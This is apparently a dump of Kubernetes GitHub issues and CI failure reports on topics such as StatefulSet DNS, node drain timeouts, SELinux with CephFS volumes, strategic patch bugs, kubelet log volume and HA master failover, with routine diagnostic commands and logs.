https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster-new/60  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | maisem |  k8s.io  pods should cap back-off at maxcontainerbackoff  slow ;  k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod | | spxtr |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  | | timothysc |  k8s.io  configmap optional updates should be reflected in volume  conformance   volume  | | sig/network |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance ;  k8s.io  networking  k8s.io  granular checks: services  slow  should function for node-service: http;  k8s.io  esipp  slow  should work from pods | | sig/apps |  k8s.io  configmap optional updates should be reflected in volume  conformance   volume ;  k8s.io  secrets optional updates should be reflected in volume  conformance   volume ;  k8s.io  cronjob should not schedule new jobs when forbidconcurrent  slow  | | sig/node |  k8s.io  pods should cap back-off at maxcontainerbackoff  slow ;  k8s.io  pods should have their auto-restart back-off timer reset on image update  slow ;  k8s.io  probing container should have monotonically increasing restart count  conformance   slow  |  </details><br>   current status  https://go.k8s.io/triage 383b71a24c3d619f44dd

is this a bug report or feature request?  :\r \r   what happened  :\r like  clientset.core    in  49535, some other   deprecated   group clients without version are still used.\r \r   what you expected to happen  :\r replace all   deprecated   group clients with versioned group clients.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r

follow-up of https://github.com/kubernetes/kubernetes/pull/55953\r \r currently, audit logging tests are testing only gce-specific audit logging policy, whereas it would be useful to test audit logging always, ideally -- make it a conformance test.\r \r part of the issue is figuring out some default policy.\r \r /cc @tallclair @loburm @kubernetes/sig-auth-feature-requests @kubernetes/sig-instrumentation-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r this arose while investigating  60484 .  i wonder why i can not saturate the cpus with proxied watches.  i wonder if there is a contended lock.  so i fetched  /debug/pprof/mutex  from the api-servers.  but the results were empty.\r \r    \r $ kubectl get --raw /debug/pprof/mutex --server https://10.10.21.1:6443 --insecure-skip-tls-verify\r --- mutex:\r cycles/second=2600019294\r sampling period=0\r    \r \r   what you expected to happen  :\r \r i hoped to get a useful mutex contention profile.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r fetch  /debug/pprof/mutex  from a running api-server.\r \r   anything else we need to know?  :\r \r http://beta.golang.org/pkg/runtime/ setmutexprofilefraction\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7+coreos.0\ , gitcommit:\ 768e049ab5230010251f30475e0e785e2e999566\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t00:17:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hey, \r as the title says, i'm unable to resolve pods by their hostname when they're being created as part of a statefulset.\r \r environment:\r   - google container engine  1.9.6-gke.1   i have tried 1.8.8 too \r   - kubedns  gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.8 \r \r   working with pods explicitly  \r this is an example proving that dns is working as i expect it to, as per  this guide  https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ a-records-1 \r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: default-subdomain\r spec:\r   selector:\r     name: busybox\r   clusterip: none\r   ports:\r   - name: foo   actually, no port is needed.\r     port: 1234\r     targetport: 1234\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox-0\r   labels:\r     name: busybox\r spec:\r   hostname: busybox-0\r   subdomain: default-subdomain\r   containers:\r   - image: busybox\r     command:\r       - sleep\r       - \ 3600\ \r     name: busybox\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox-1\r   labels:\r     name: busybox\r spec:\r   hostname: busybox-1\r   subdomain: default-subdomain\r   containers:\r   - image: busybox\r     command:\r       - sleep\r       - \ 3600\ \r     name: busybox\r    \r \r as you can see, i can go onto  busybox-0  and hit  busybox-1 :\r \r    \r ❯ k exec -it busybox-0 /bin/sh\r /   echo $hostname\r busybox-0\r \r /   ping busybox-1.default-subdomain.default.svc.cluster.local\r ping busybox-1.default-subdomain.default.svc.cluster.local  10.202.1.25 : 56 data bytes\r 64 bytes from 10.202.1.25: seq=0 ttl=62 time=1.627 ms\r 64 bytes from 10.202.1.25: seq=1 ttl=62 time=1.447 ms\r    \r \r   not working with statefulset  \r modifying the above example to use a statefulset to create the pods instead, then they're not able to resolve each other  only themselves .\r    \r apiversion: v1\r kind: service\r metadata:\r   name: default-subdomain\r spec:\r   selector:\r     name: busybox\r   clusterip: none\r   ports:\r   - name: foo   actually, no port is needed.\r     port: 1234\r     targetport: 1234\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: busybox\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: busybox\r   servicename: default-subdomain\r   template:\r     metadata:\r       labels:\r         app: busybox\r     spec:\r       containers:\r       - image: busybox\r         command:\r           - sleep\r           - \ 3600\ \r         name: busybox\r    \r \r    \r ❯ k exec -it busybox-0 /bin/sh\r /   echo $hostname\r busybox-0\r \r /   ping busybox-1.default-subdomain.default.svc.cluster.local\r ping: bad address 'busybox-1.default-subdomain.default.svc.cluster.local'\r    \r \r however as you can see, the pod is able to resolve itself on the fqdn:\r    \r /   ping busybox-0.default-subdomain.default.svc.cluster.local\r ping busybox-0.default-subdomain.default.svc.cluster.local  10.202.1.26 : 56 data bytes\r 64 bytes from 10.202.1.26: seq=0 ttl=64 time=0.062 ms\r 64 bytes from 10.202.1.26: seq=1 ttl=64 time=0.049 ms\r    \r \r i can't see anything the kube-dns logs that looks suspicious!

<!--\r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r when draining a node,  evictpods    is called. it is supposed to wait for duration  globaltimeout  for evicting all the pods.\r https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/kubectl/cmd/drain.go l534\r if the each of the pods take different times to be evicted, then the timeout timer starts again from 0 because of  for -ever loop.\r \r   what you expected to happen  :\r after  globaltimout  duration has passed, expected to see log message:  drain did not complete within ...  regardless of pods taking time to evict.\r

when set selinux is enforce, got \ permission denied\  when read or write in the dir ceph volume mounted , after setenforce 0,  could read or write to the dir  steps to reproduce: 1.create a pod with cephfs , the pod is running   root@dhcp-128-79 kubernetes   cluster/kubectl.sh get pods -o yaml apiversion: v1 items: - apiversion: v1   kind: pod   metadata:     creationtimestamp: 2015-09-22t03:36:58z     name: cephfs     namespace: default     resourceversion: \ 46979\      selflink: /api/v1/namespaces/default/pods/cephfs     uid: 2d9fba37-60db-11e5-89f4-fa163ef53087   spec:     containers:   - image: jhou/hello-openshift     imagepullpolicy: ifnotpresent     name: cephfs-rw     resources: {}     terminationmessagepath: /dev/termination-log     volumemounts:     - mountpath: /mnt/cephfs       name: cephfs     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount       name: default-token-bcpqn       readonly: true       dnspolicy: clusterfirst       nodename: 127.0.0.1       restartpolicy: always       serviceaccount: default       serviceaccountname: default       terminationgraceperiodseconds: 30       volumes:   - cephfs:       monitors:     - 192.168.0.130:6789     - 192.168.0.131:6789     - 192.168.0.132:6789     - 192.168.0.147:6789       secretfile: /etc/ceph/admin.secret       user: admin       name: cephfs   - name: default-token-bcpqn     secret:       secretname: default-token-bcpqn     status:     conditions:   - status: \ true\      type: ready     containerstatuses:   - containerid: docker://2e0e6d6dfc7686eea6fa8d14c9eac994b371d3a36c79e4c6fb1d7d2d751a54e4     image: jhou/hello-openshift     imageid: docker://6598e12f7b1839dfc18575157c45d5b78b25ecba8937e9e0247d1f0cc3af8f6f     laststate: {}     name: cephfs-rw     ready: true     restartcount: 0     state:       running:         startedat: 2015-09-22t03:36:59z     hostip: 127.0.0.1     phase: running     podip: 172.17.0.15     starttime: 2015-09-22t03:36:58z     kind: list     metadata: {}  2.check the selinux is enforce  root@dhcp-128-79 kubernetes   getenforce enforcing 3.try to read or write some data in the pod  root@cephfs cephfs   ls ls: cannot open directory .: permission denied  root@cephfs mnt   ls -zd drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c186,c618 . 1. set the selinux is permissive 2. try to read or write some data in the pod     root@dhcp-128-79 kubernetes   cluster/kubectl.sh exec cephfs -ti -- bash     root@cephfs /   cd /mnt/cephfs/     root@cephfs cephfs   ls    testfile1  testfile2     root@cephfs cephfs   touch hi     root@cephfs cephfs   ls    hi  testfile1  testfile2  actual results: when set selinux is enforce, got \ permission denied\  when read or write in the dir ceph volume mounted   expected results: when set selinux is enforce, could read or write to the cehp volume when ir rw file system.

i've just noticed that http prober has the following issues:  https prober has hardcoded  insecureskipverify  tls option:      func new   httpprober {         tlsconfig := &tls.config{insecureskipverify: true}   <<<<<<------ why?         transport := utilnet.settransportdefaults &http.transport{tlsclientconfig: tlsconfig, disablekeepalives: true}          return httpprober{transport} }      shall we allow to configure it within  readinessprobe / livenessprobe ? i.e.      yaml         readinessprobe:           httpget:             host: hostname             scheme: https             path: /status             insecureskipverify: true           timeoutseconds: 30           successthreshold: 3

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : yes    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubernetes deployed nodes limitation.  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : v1.4.3 server and v1.5.0-alpha client.    environment  : -   cloud provider or hardware configuration  : huawei bare metal server -   os    e.g. from /etc/os-release : ubuntu 14.04 -   kernel    e.g.  uname -a  : 3.16 -   install tools  : python, htop, etcd 2.1 -   others  : none    what happened  : master node deployed worker/node reach 135 nodes. now you can't access to master node anymore e.g. $kubectl get node  errors message: unable to connect to server: dial tcp  ::1 :8080: i/o timeout.    what you expected to happen  : should be able to execute $kubectl get node with no issue.  unable to connect to server: dial tcp  ::1 :8080: i/o timeout.   how to reproduce it    as minimally and precisely as possible :assume that  your config-default.sh with more than 150 nodes. then execute $kubernetes_provider=ubuntu ./kube-up.sh    anything else do we need to know  : none

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/56/  run so broken it didn't make junit output!

strategic patch doesn't work on an edge case:\r    \r original:\r   mergingintlist:\r   - 1\r \r current:\r   mergingintlist:\r   - 1\r   - 2\r \r modified:\r   {}\r    \r the expected state is:\r    \r   mergingintlist:\r   - 2\r    \r but we get:\r    \r   {}\r    \r the cause is we send a patch looks like this which will delete the whole list.\r    \r   mergingintlist: null\r    \r the patch we should send is\r    \r   mergingintlist:\r   - 1: null\r   - 2: null\r    \r this case is not covered in  35647. we should add a test case in  strategicpatch .\r \r similar issue has been found in list of maps.\r \r cc @pwittrock

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r i am running e2e test against my gce account by using:\r \r  go run hack/e2e.go -v --up --test --test_args=\ --ginkgo.focus=mytestxxx\  \r \r the cluster is booted up and e2e is ready to run, but then i got  insufficientpermissions  error:\r \r    \r running suite: kubernetes e2e suite\r ===================================\r random seed: 1480056651 - will randomize all specs\r will run 3 of 454 specs\r \r nov 25 06:50:51.811: info: fetching cloud provider for \ gce\ \r i1125 06:50:51.811743   16875 gce.go:326  using defaulttokensource &oauth2.reusetokensource{new:google.computesource{account:\ \ }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil }\r nov 25 06:50:51.888: info: failed to setup provider config: error building gce/gke provider: googleapi: error 403: insufficient permission, insufficientpermissions\r    \r \r how can i fix this? may be need some gce configuration?\r \r i assume this may be a configuration problem, but i was definitely following https://github.com/kubernetes/kubernetes/blob/master/docs/devel/e2e-tests.md , so if that case, i'm afraid we need to specify the right configuration in e2e test doc.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41412/pull-kubernetes-unit/17829/ k8siokubernetesfederationpkgfederation-controllerconfigmap-testconfigmapcontroller\r \r    \r panic: interface conversion: interface is nil, not  v1.configmap\r /usr/local/go/src/runtime/panic.go:500 +0x1ae\r /usr/local/go/src/testing/testing.go:579 +0x474\r /usr/local/go/src/runtime/panic.go:458 +0x271\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller_test.go:158 +0x74\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller_test.go:140 +0x1d8b\r /usr/local/go/src/testing/testing.go:610 +0xca\r /usr/local/go/src/testing/testing.go:646 +0x530\r

hi,\r \r as the  comment  https://github.com/kubernetes/apiserver/blob/master/pkg/storage/interfaces.go l174  mentioned, when  tryupdate updatefunc  returns a nil ttl in method  guaranteedupdate , the ttl attached to the key will not change. but in current codes under  pkg/storage/etcd3 , the ttl will be unset, because  it  https://github.com/kubernetes/apiserver/blob/master/pkg/storage/etcd3/store.go l498  will return 0 when  ttlptr  is nil. and a zero ttl will finally unset the ttl.\r \r the following test case will fail as  timeout  without key deleted:\r    \r func testguaranteedupdatewithnilttl t  testing.t  {\r \tctx, store, cluster := testsetup t \r \tdefer cluster.terminate t \r \r \tinput := &example.pod{objectmeta: metav1.objectmeta{name: \ foo\ }}\r \tkey := \ /somekey\ \r \r \tout := &example.pod{}\r \terr := store.guaranteedupdate ctx, key, out, true, nil,\r \t\tfunc _ runtime.object, _ storage.responsemeta   runtime.object,  uint64, error  {\r \t\t\tttl := uint64 1 \r \t\t\treturn input, &ttl, nil\r \t\t} \r \tif err != nil {\r \t\tt.fatalf \ create failed: %v\ , err \r \t}\r \r \terr = store.guaranteedupdate ctx, key, out, true, nil,\r \t\tfunc _ runtime.object, _ storage.responsemeta   runtime.object,  uint64, error  {\r \t\t\tinput.namespace = \ update\ \r \t\t\treturn input, nil, nil\r \t\t} \r \tif err != nil {\r \t\tt.fatalf \ update failed: %v\ , err \r \t}\r \r \tw, err := store.watch ctx, key, out.resourceversion, storage.everything \r \tif err != nil {\r \t\tt.fatalf \ watch failed: %v\ , err \r \t}\r \ttestcheckeventtype t, watch.deleted, w \r }\r    \r \r i think it is a bug. and it should be fixed.

problems with current quota system:\r    51476 - invalid objects still consume quota\r    51749 - uninitialized objects still consume quota\r   no way for user-supplied apis to interact with the quota system\r   replenishment is slow\r   doesn't track object size  unless this has been fixed? \r \r i'd like to see a quota system that:\r   can track user-defined quotas for aggregated apis\r   can track/prevent uninitialized object count and size\r   can track regular object count and size\r   doesn't need multiple interactions w/ etcd during the object initialization phase\r   initializer/webhook based rather than compiled-in

 \r currently kubernetes performs rolling updates for  statefulset s in reverse ordinal order.\r there are clustered systems  like  akka  http://doc.akka.io/docs/akka/2.5/java/cluster-singleton.html   that keep leaders on the oldest cluster node. \r for such systems it's essential to perform rolling update from youngest to oldest nodes, to avoid unnecessary leader migration.\r in kubernetes this could be achieved by alternating the update order for each consequent rolling update.\r \r what i propose is to add  updateorder  to  statefulset  object definition:\r    yaml\r spec.updatestrategy:\r   type: rollingupdate\r   updateorder: alternating   default is reverseordinal\r    \r \r \r does it make sense, or it would introduce some unwanted state management?\r

is this a bug report or feature request?  :\r   /area test\r \r   what happened  :\r in e2e ingress test, the  ingresstestjig  struct  shared by a describe block  only stores one ingress object during test, but different testcases may overwrite it while creating test ingress. many implemented util functions depend on the saved ingress object, hence unexpected result might happen while these tests run cocurrently:\r https://github.com/kubernetes/kubernetes/blob/b694d518428ac655780d812f7dd4cf72d3e24763/test/e2e/framework/ingress_utils.go l110-l122\r https://github.com/kubernetes/kubernetes/blob/b694d518428ac655780d812f7dd4cf72d3e24763/test/e2e/framework/ingress_utils.go l949-l952\r https://github.com/kubernetes/kubernetes/blob/b694d518428ac655780d812f7dd4cf72d3e24763/test/e2e/framework/ingress_utils.go l1000-l1006\r \r /assign

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i tried to run conformance test, but i stopped it during the operation.\r the created namespace 'e2e-tests-pods-bjz2d' in this case  remained on the environment but i didn't recognized that.\r then i tried to run conformance test again, then 3 scheduling tests were failed like:\r   \r   expected error:\r       < errors.errorstring | 0xc42173ee70>: {\r           s: \ namespace e2e-tests-pods-bjz2d is active\ ,\r       }\r       namespace e2e-tests-pods-bjz2d is active\r   not to have occurred\r   \r \r these tests are\r - validates that nodeselector is respected if matching \r - validates that nodeselector is respected if not matching\r - validates resource limits of pods that are allowed to run\r \r   what you expected to happen  :\r \r succeeded to run all conformance test.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a name space with the prefix 'e2e-tests-'\r 2. run conformance test\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-112-generic\r - install tools: kubeadm\r - others:\r

our  gce-scale-correctness  https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-correctness  and  gce-large-correctness  https://k8s-testgrid.appspot.com/sig-scalability-gce gce-large-correctness  jobs have started failing sometime mid- last week. e.g failures:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/100\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/101\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/102\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/81\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/82\r \r most of those failures are coming are from beforesuite checks.\r also hpa tests are failing sometimes, so my feeling is that's sth related to heapster setup.\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t @krzysied

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r  \r   what happened  :\r \r if you include a pound symbol  £  into the master auth password during cluster creation, the cluster will never be completely provisioned and will remain unhealthy with the following error being displayed after ~10 minutes:\r \r > all cluster resources were brought up, but the cluster api is reporting that component \ kube-apiserver\  from endpoint \ gke-003c022fd35314af3c85-df99\  is unhealthy.\r \r \r   what you expected to happen  :\r \r an error should be returned if password contains invalid or unexpected characters or it should just work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set the master auth password to something that contains a pound symbol, e.g. : asjprjffusdj9£h\r or just execute the following:\r \r > gcloud container clusters create example-cluster --zone europe-west1-b  --username=admin --password=asjprjffusdj9£h\r \r   anything else we need to know?  :\r \r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r tested on 1.9.6-gke.1 and 1.10.4-gke.2\r - cloud provider or hardware configuration:\r gke\r - os  e.g. from /etc/os-release :\r gke default\r - kernel  e.g.  uname -a  :\r gke default\r - install tools:\r terraform & gcloud\r - others:\r ---

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r because of the bug  69015  kubelet  writes too many logs to syslog, producing ~5g of them per day which is filling up the rootfs very fast  and makes the whole cluster unhealthy; e.g. i have 10g of rootfs .\r \r   what you expected to happen  :\r  kubelet  produces reasonable amount of logs by default, or at least having a way to decrease this verbosity.\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrade  kubelet  to  1.12.2  and watch the size of  /var/log/syslog   files every day.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux 4.4.0-1057-aws  66-ubuntu smp thu may 3 12:49:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:  kubeadm 1.12.2 \r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r i created a nodeport service  nginx-app-svc \r    \r   kubectl get svc\r name            type        cluster-ip      external-ip   port s         age\r kubernetes      clusterip   10.68.0.1       <none>        443/tcp        3d\r nginx-app-svc   nodeport    10.68.191.131   <none>        80:39334/tcp   3d\r    \r use netstat get info: \r    \r   netstat -nltpu| grep 39334\r tcp6      21      0 :::39334                :::                     listen      9392/kube-proxy \r    \r \r i have a ipv6 address eth0:  fb80::301f:6df2:9df6:81b2/64 \r  use curl to access \r  curl -g http:// fb80::301f:6df2:9df6:81b2 :39334 \r it's blocking\r \r   what you expected to happen  :\r i can use ipv6 address to access   nginx-app-svc   \r   how to reproduce it  as minimally and precisely as possible   :\r kube-proxy config:\r    \r  unit \r description=kubernetes kube-proxy server\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=network.target\r \r  service \r workingdirectory=/var/lib/kube-proxy\r execstart=/opt/kubernetes/bin/kube-proxy \\\r   --bind-address=:: \\\r   --hostname-override=csdpaas5 \\\r   --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig \\\r   --logtostderr=true \\\r   --proxy-mode=ipvs  \\\r   -v=5\r restart=on-failure\r restartsec=5\r limitnofile=65536\r \r  install \r wantedby=multi-user.target\r    \r   anything else we need to know?  :\r cni: calico v3.3.1\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  bare \r - os  e.g. from /etc/os-release :\r  centos linux release 7.3.1611  core   \r - kernel  e.g.  uname -a  :\r  linux csdpaas5 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r none\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i have a ha k8s deployment with two master nodes  keepalived + haproxy installed \r    \r root@k8s403:~  kubectl get node\r name           status                     roles    age     version\r 10.100.97.41   ready,schedulingdisabled   master   4h46m   v1.14.0\r 10.100.97.42   ready,schedulingdisabled   master   4h46m   v1.14.0\r 10.100.97.43   ready                      node     4h46m   v1.14.0\r 10.100.97.44   ready                      node     4h46m   v1.14.0\r root@k8s403:~  kubectl get cs\r name                 status    message             error\r scheduler            healthy   ok                  \r controller-manager   healthy   ok                  \r etcd-0               healthy   {\ health\ :\ true\ }   \r etcd-2               healthy   {\ health\ :\ true\ }   \r etcd-1               healthy   {\ health\ :\ true\ }   \r root@k8s403:~  kubectl cluster-info \r kubernetes master is running at https://10.100.97.40:8443\r coredns is running at https://10.100.97.40:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\r kubernetes-dashboard is running at https://10.100.97.40:8443/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy\r \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r root@k8s403:~  kubectl get ep\r name         endpoints                             age\r kubernetes   10.100.97.41:6443,10.100.97.42:6443   4h48m\r nginx        172.20.3.4:80                         4h19m\r    \r i shutdown master 10.100.97.42, everything still works; then i restore master 10.100.97.42, instead i shutdown master 10.100.97.41, and 'kubectl' return is somewhat wired\r 'kubectl version' is ok\r    \r root@k8s403:~  kubectl version --v=8\r i0327 16:22:12.297124   26231 loader.go:359  config loaded from file /root/.kube/config\r i0327 16:22:12.298501   26231 round_trippers.go:416  get https://10.100.97.40:8443/version?timeout=32s\r i0327 16:22:12.298528   26231 round_trippers.go:423  request headers:\r i0327 16:22:12.298552   26231 round_trippers.go:426      accept: application/json,  / \r i0327 16:22:12.298572   26231 round_trippers.go:426      user-agent: kubectl/v1.14.0  linux/amd64  kubernetes/641856d\r i0327 16:22:12.325835   26231 round_trippers.go:441  response status: 200 ok in 27 milliseconds\r i0327 16:22:12.325897   26231 round_trippers.go:444  response headers:\r i0327 16:22:12.325910   26231 round_trippers.go:447      content-length: 263\r i0327 16:22:12.325921   26231 round_trippers.go:447      date: wed, 27 mar 2019 08:18:54 gmt\r i0327 16:22:12.325932   26231 round_trippers.go:447      content-type: application/json\r i0327 16:22:12.328027   26231 request.go:942  response body: {\r   \ major\ : \ 1\ ,\r   \ minor\ : \ 14\ ,\r   \ gitversion\ : \ v1.14.0\ ,\r   \ gitcommit\ : \ 641856db18352033a0d96dbc99153fa3b27298e5\ ,\r   \ gittreestate\ : \ clean\ ,\r   \ builddate\ : \ 2019-03-25t15:45:25z\ ,\r   \ goversion\ : \ go1.12.1\ ,\r   \ compiler\ : \ gc\ ,\r   \ platform\ : \ linux/amd64\ \r }\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:45:25z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r 'kubectl get node' is broken\r    \r root@k8s403:~  kubectl get node --v=8\r i0327 16:18:33.605694   25779 loader.go:359  config loaded from file /root/.kube/config\r i0327 16:18:33.616225   25779 round_trippers.go:416  get https://10.100.97.40:8443/api/v1/nodes?limit=500\r i0327 16:18:33.616255   25779 round_trippers.go:423  request headers:\r i0327 16:18:33.616282   25779 round_trippers.go:426      user-agent: kubectl/v1.14.0  linux/amd64  kubernetes/641856d\r i0327 16:18:33.616301   25779 round_trippers.go:426      accept: application/json;as=table;v=v1beta1;g=meta.k8s.io, application/json\r i0327 16:19:33.629397   25779 round_trippers.go:441  response status: 504 gateway timeout in 60012 milliseconds\r i0327 16:19:33.629557   25779 round_trippers.go:444  response headers:\r i0327 16:19:33.629582   25779 round_trippers.go:447      content-type: text/plain; charset=utf-8\r i0327 16:19:33.629618   25779 round_trippers.go:447      content-length: 136\r i0327 16:19:33.629643   25779 round_trippers.go:447      date: wed, 27 mar 2019 08:16:16 gmt\r i0327 16:19:33.630120   25779 request.go:942  response body: {\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ timeout: request did not complete within 1m0s\ ,\ reason\ :\ timeout\ ,\ details\ :{},\ code\ :504}\r i0327 16:19:33.631129   25779 helpers.go:196  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server was unable to return a response in the time allotted, but may still be processing the request  get nodes \ ,\r   \ reason\ : \ timeout\ ,\r   \ details\ : {\r     \ kind\ : \ nodes\ ,\r     \ causes\ :  \r       {\r         \ reason\ : \ unexpectedserverresponse\ ,\r         \ message\ : \ {\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ timeout: request did not complete within 1m0s\\\ 